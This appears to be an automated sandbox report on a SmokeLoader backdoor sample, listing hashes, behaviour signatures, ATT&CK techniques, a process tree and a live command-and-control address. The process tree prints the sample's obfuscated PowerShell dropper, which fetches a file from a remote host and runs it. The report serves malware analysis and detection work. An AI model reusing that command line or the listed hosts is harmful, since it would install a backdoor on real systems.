smokeloader | 5de2819f832f06f69009b07779eacabc1b171540b10689b4b23eaac8f3232e14

General

Target

9fbd32c6bb25f6a660696fa9830c5040.exe
Size

847KB
MD5

9fbd32c6bb25f6a660696fa9830c5040
SHA1

1e41347d36792e823a8982b10170d83a0722e3cc
SHA256

5de2819f832f06f69009b07779eacabc1b171540b10689b4b23eaac8f3232e14
SHA512

3b89b40676449390bfdc139aad1ac664cf14213eeed32dfa8e06671a8bcc97fe6facd42331657bdc220a9e38fee2021b1ea7a1c2ace6b89ec5d31d488eb2bdfb

Score

10^/10

smokeloader backdoor trojan

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

exe.dropper

https://u.teknik.io/28oLW.jpg

Extracted

Family

smokeloader

Version

2018

C2

http://94.140.115.43/1/

rc4.i32

Signatures

SmokeLoader
Modular backdoor trojan in use since 2014.
trojan backdoor smokeloader
Blocklisted process makes network request 1 IoCs

Processes:

powershell.exe

flow pid process

14 2020 powershell.exe
Executes dropped EXE 1 IoCs

Processes:

eVDwACBtpW.exe

pid process

3300 eVDwACBtpW.exe

flow	pid	process
14	2020	powershell.exe

pid	process
3300	eVDwACBtpW.exe

Maps connected drives based on registry 3 TTPs 2 IoCs

Disk information is often read in order to detect sandboxing environments.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

Processes:

eVDwACBtpW.exe

description	ioc	process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Disk\Enum	eVDwACBtpW.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Disk\Enum\0	eVDwACBtpW.exe

Suspicious behavior: EnumeratesProcesses 6 IoCs

Processes:

powershell.exepowershell.exe

pid process

4064 powershell.exe
4064 powershell.exe
4064 powershell.exe
2020 powershell.exe
2020 powershell.exe
2020 powershell.exe
Suspicious behavior: MapViewOfSection 2 IoCs

Processes:

eVDwACBtpW.exe

pid process

3300 eVDwACBtpW.exe
3300 eVDwACBtpW.exe
Suspicious use of AdjustPrivilegeToken 2 IoCs

Processes:

powershell.exepowershell.exe

description pid process

Token: SeDebugPrivilege 4064 powershell.exe
Token: SeDebugPrivilege 2020 powershell.exe

pid	process
4064	powershell.exe
4064	powershell.exe
4064	powershell.exe
2020	powershell.exe
2020	powershell.exe
2020	powershell.exe

pid	process
3300	eVDwACBtpW.exe
3300	eVDwACBtpW.exe

description	pid	process
Token: SeDebugPrivilege	4064	powershell.exe
Token: SeDebugPrivilege	2020	powershell.exe

Suspicious use of FindShellTrayWindow 23 IoCs

Processes:

9fbd32c6bb25f6a660696fa9830c5040.exe

pid	process
708	9fbd32c6bb25f6a660696fa9830c5040.exe
708	9fbd32c6bb25f6a660696fa9830c5040.exe
708	9fbd32c6bb25f6a660696fa9830c5040.exe
708	9fbd32c6bb25f6a660696fa9830c5040.exe
708	9fbd32c6bb25f6a660696fa9830c5040.exe
708	9fbd32c6bb25f6a660696fa9830c5040.exe
708	9fbd32c6bb25f6a660696fa9830c5040.exe
708	9fbd32c6bb25f6a660696fa9830c5040.exe
708	9fbd32c6bb25f6a660696fa9830c5040.exe
708	9fbd32c6bb25f6a660696fa9830c5040.exe
708	9fbd32c6bb25f6a660696fa9830c5040.exe
708	9fbd32c6bb25f6a660696fa9830c5040.exe
708	9fbd32c6bb25f6a660696fa9830c5040.exe
708	9fbd32c6bb25f6a660696fa9830c5040.exe
708	9fbd32c6bb25f6a660696fa9830c5040.exe
708	9fbd32c6bb25f6a660696fa9830c5040.exe
708	9fbd32c6bb25f6a660696fa9830c5040.exe
708	9fbd32c6bb25f6a660696fa9830c5040.exe
708	9fbd32c6bb25f6a660696fa9830c5040.exe
708	9fbd32c6bb25f6a660696fa9830c5040.exe
708	9fbd32c6bb25f6a660696fa9830c5040.exe
708	9fbd32c6bb25f6a660696fa9830c5040.exe
708	9fbd32c6bb25f6a660696fa9830c5040.exe

Suspicious use of SendNotifyMessage 23 IoCs

Processes:

9fbd32c6bb25f6a660696fa9830c5040.exe

pid	process
708	9fbd32c6bb25f6a660696fa9830c5040.exe
708	9fbd32c6bb25f6a660696fa9830c5040.exe
708	9fbd32c6bb25f6a660696fa9830c5040.exe
708	9fbd32c6bb25f6a660696fa9830c5040.exe
708	9fbd32c6bb25f6a660696fa9830c5040.exe
708	9fbd32c6bb25f6a660696fa9830c5040.exe
708	9fbd32c6bb25f6a660696fa9830c5040.exe
708	9fbd32c6bb25f6a660696fa9830c5040.exe
708	9fbd32c6bb25f6a660696fa9830c5040.exe
708	9fbd32c6bb25f6a660696fa9830c5040.exe
708	9fbd32c6bb25f6a660696fa9830c5040.exe
708	9fbd32c6bb25f6a660696fa9830c5040.exe
708	9fbd32c6bb25f6a660696fa9830c5040.exe
708	9fbd32c6bb25f6a660696fa9830c5040.exe
708	9fbd32c6bb25f6a660696fa9830c5040.exe
708	9fbd32c6bb25f6a660696fa9830c5040.exe
708	9fbd32c6bb25f6a660696fa9830c5040.exe
708	9fbd32c6bb25f6a660696fa9830c5040.exe
708	9fbd32c6bb25f6a660696fa9830c5040.exe
708	9fbd32c6bb25f6a660696fa9830c5040.exe
708	9fbd32c6bb25f6a660696fa9830c5040.exe
708	9fbd32c6bb25f6a660696fa9830c5040.exe
708	9fbd32c6bb25f6a660696fa9830c5040.exe

Suspicious use of WriteProcessMemory 9 IoCs

Processes:

9fbd32c6bb25f6a660696fa9830c5040.exepowershell.exepowershell.exe

description	pid	process	target process
PID 708 wrote to memory of 4064	708	9fbd32c6bb25f6a660696fa9830c5040.exe	powershell.exe
PID 708 wrote to memory of 4064	708	9fbd32c6bb25f6a660696fa9830c5040.exe	powershell.exe
PID 708 wrote to memory of 4064	708	9fbd32c6bb25f6a660696fa9830c5040.exe	powershell.exe
PID 4064 wrote to memory of 2020	4064	powershell.exe	powershell.exe
PID 4064 wrote to memory of 2020	4064	powershell.exe	powershell.exe
PID 4064 wrote to memory of 2020	4064	powershell.exe	powershell.exe
PID 2020 wrote to memory of 3300	2020	powershell.exe	eVDwACBtpW.exe
PID 2020 wrote to memory of 3300	2020	powershell.exe	eVDwACBtpW.exe
PID 2020 wrote to memory of 3300	2020	powershell.exe	eVDwACBtpW.exe

C:\Users\Admin\AppData\Local\Temp\9fbd32c6bb25f6a660696fa9830c5040.exe
"C:\Users\Admin\AppData\Local\Temp\9fbd32c6bb25f6a660696fa9830c5040.exe"
1⤵
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
- Suspicious use of WriteProcessMemory
PID:708

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
powershell.exe PowERsHEL`l -ExecutionPolicy Bypass -w 1 /`e IAAoAE4ARQB3AC0AbwBiAGoARQBjAHQAIAAcIGAATgBgAGUAYABUAGAALgBgAFcAYABlAGAAQgBgAEMAYABsAGAAaQBgAGUAYABOAGAAVAAdICkALgBEAG8AdwBuAEwAbwBBAGQAZgBJAGwARQAoACAAHSBoAHQAdABwAHMAOgAvAC8AdQAuAHQAZQBrAG4AaQBrAC4AaQBvAC8AMgA4AG8ATABXAC4AagBwAGcAHSAgACwAIAAdICQARQBOAHYAOgB0AGUAbQBwAFwAZQBWAEQAdwBBAEMAQgB0AHAAVwAuAGUAeABlAB0gIAApACAAOwAgAHMAdABBAFIAdAAgAB0gJABFAE4AdgA6AHQAZQBtAHAAXABlAFYARAB3AEEAQwBCAHQAcABXAC4AZQB4AGUAHSA=
2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:4064

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass -w 1 /e IAAoAE4ARQB3AC0AbwBiAGoARQBjAHQAIAAcIGAATgBgAGUAYABUAGAALgBgAFcAYABlAGAAQgBgAEMAYABsAGAAaQBgAGUAYABOAGAAVAAdICkALgBEAG8AdwBuAEwAbwBBAGQAZgBJAGwARQAoACAAHSBoAHQAdABwAHMAOgAvAC8AdQAuAHQAZQBrAG4AaQBrAC4AaQBvAC8AMgA4AG8ATABXAC4AagBwAGcAHSAgACwAIAAdICQARQBOAHYAOgB0AGUAbQBwAFwAZQBWAEQAdwBBAEMAQgB0AHAAVwAuAGUAeABlAB0gIAApACAAOwAgAHMAdABBAFIAdAAgAB0gJABFAE4AdgA6AHQAZQBtAHAAXABlAFYARAB3AEEAQwBCAHQAcABXAC4AZQB4AGUAHSA=
3⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2020

C:\Users\Admin\AppData\Local\Temp\eVDwACBtpW.exe
"C:\Users\Admin\AppData\Local\Temp\eVDwACBtpW.exe"
4⤵
- Executes dropped EXE
- Maps connected drives based on registry
- Suspicious behavior: MapViewOfSection
PID:3300

Network

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

1

T1012

Peripheral Device Discovery

1

T1120

System Information Discovery

1

T1082

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\powershell.exe.log
MD5
b751492c41c6f3173d3b6f31c1b9b4eb

SHA1
abc53a2c939b1d774940deb0b888b7b1ba5a3c7b

SHA256
ad95fdf313324ed94997cec026239ea3631bf27298500e5def5941db9493b457

SHA512
afa65279455b98353c6fe6869f2b545231231a953afbb1bf2eaed6b11646c4b4c77c5c18102651ae247a2f0fa18c698d908f4d23ca91581cbf28e32e061cb2e2

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
MD5
3e03c7b392a4224a4d9f108bc2c024a9

SHA1
0b0fdcf73bc4d55eafb2de7ceba044ae22b64aae

SHA256
a76c4fc3f225de3674870f375c709443bfc0580d80425d2347be509449ce73fe

SHA512
a70ab6f08257ef162c654c767fb0f189b2c5e51e2623b66163fe57082c856c3bd3d4c5778e22489151fa4ff8c57294a8ac5b6e94d10a49f83d25e6ba216827bf

Download Submit
C:\Users\Admin\AppData\Local\Temp\eVDwACBtpW.exe
MD5
0d1334075336455a13a36fd909417556

SHA1
4f1937f0eeeb697ef992547701295134fde65c20

SHA256
33d7fa2a8936cc5064b63592b77f87c02fcdc1396395ae2316e3a7c783523ad9

SHA512
d1f51355db6c4b040196b2588b8f21ef94d11901c7e8ea2c3632622adc791721d044c9a9448c8344406e5cbad2083f140caf9492d3dfef12724d22bb6e549971

Download Submit
C:\Users\Admin\AppData\Local\Temp\eVDwACBtpW.exe
MD5
0d1334075336455a13a36fd909417556

SHA1
4f1937f0eeeb697ef992547701295134fde65c20

SHA256
33d7fa2a8936cc5064b63592b77f87c02fcdc1396395ae2316e3a7c783523ad9

SHA512
d1f51355db6c4b040196b2588b8f21ef94d11901c7e8ea2c3632622adc791721d044c9a9448c8344406e5cbad2083f140caf9492d3dfef12724d22bb6e549971

Download Submit
memory/2020-146-0x0000000009570000-0x0000000009571000-memory.dmp

Filesize
4KB

Download
memory/2020-155-0x000000000A0F0000-0x000000000A0F1000-memory.dmp

Filesize
4KB

Download
memory/2020-154-0x00000000069D0000-0x00000000069D1000-memory.dmp

Filesize
4KB

Download
memory/2020-153-0x0000000009140000-0x0000000009141000-memory.dmp

Filesize
4KB

Download
memory/2020-148-0x0000000006983000-0x0000000006984000-memory.dmp

Filesize
4KB

Download
memory/2020-147-0x0000000008AF0000-0x0000000008AF1000-memory.dmp

Filesize
4KB

Download
memory/2020-128-0x0000000000000000-mapping.dmp

Download
memory/2020-139-0x0000000006980000-0x0000000006981000-memory.dmp

Filesize
4KB

Download
memory/2020-140-0x0000000006982000-0x0000000006983000-memory.dmp

Filesize
4KB

Download
memory/3032-168-0x0000000002DE0000-0x0000000002DF5000-memory.dmp

Filesize
84KB

Download
memory/3032-167-0x0000000000E80000-0x0000000000E81000-memory.dmp

Filesize
4KB

Download
memory/3300-160-0x0000000000000000-mapping.dmp

Download
memory/4064-127-0x0000000007FD0000-0x0000000007FD1000-memory.dmp

Filesize
4KB

Download
memory/4064-126-0x0000000007B50000-0x0000000007B51000-memory.dmp

Filesize
4KB

Download
memory/4064-125-0x0000000007B20000-0x0000000007B21000-memory.dmp

Filesize
4KB

Download
memory/4064-124-0x00000000077D0000-0x00000000077D1000-memory.dmp

Filesize
4KB

Download
memory/4064-123-0x0000000007760000-0x0000000007761000-memory.dmp

Filesize
4KB

Download
memory/4064-114-0x0000000000000000-mapping.dmp

Download
memory/4064-122-0x0000000006EB0000-0x0000000006EB1000-memory.dmp

Filesize
4KB

Download
memory/4064-121-0x0000000006F60000-0x0000000006F61000-memory.dmp

Filesize
4KB

Download
memory/4064-120-0x0000000004472000-0x0000000004473000-memory.dmp

Filesize
4KB

Download
memory/4064-119-0x0000000006FC0000-0x0000000006FC1000-memory.dmp

Filesize
4KB

Download
memory/4064-169-0x0000000004473000-0x0000000004474000-memory.dmp

Filesize
4KB

Download
memory/4064-118-0x0000000004400000-0x0000000004401000-memory.dmp

Filesize
4KB

Download
memory/4064-117-0x0000000004470000-0x0000000004471000-memory.dmp

Filesize
4KB

Download
memory/4064-170-0x0000000004474000-0x0000000004476000-memory.dmp

Filesize
8KB

Download

Analysis

Sharing

General

Malware Config

Extracted

Extracted

Signatures

Processes

Network

MITRE ATT&CK Matrix ATT&CK v6

Replay Monitor

Loading Replay Monitor...

Downloads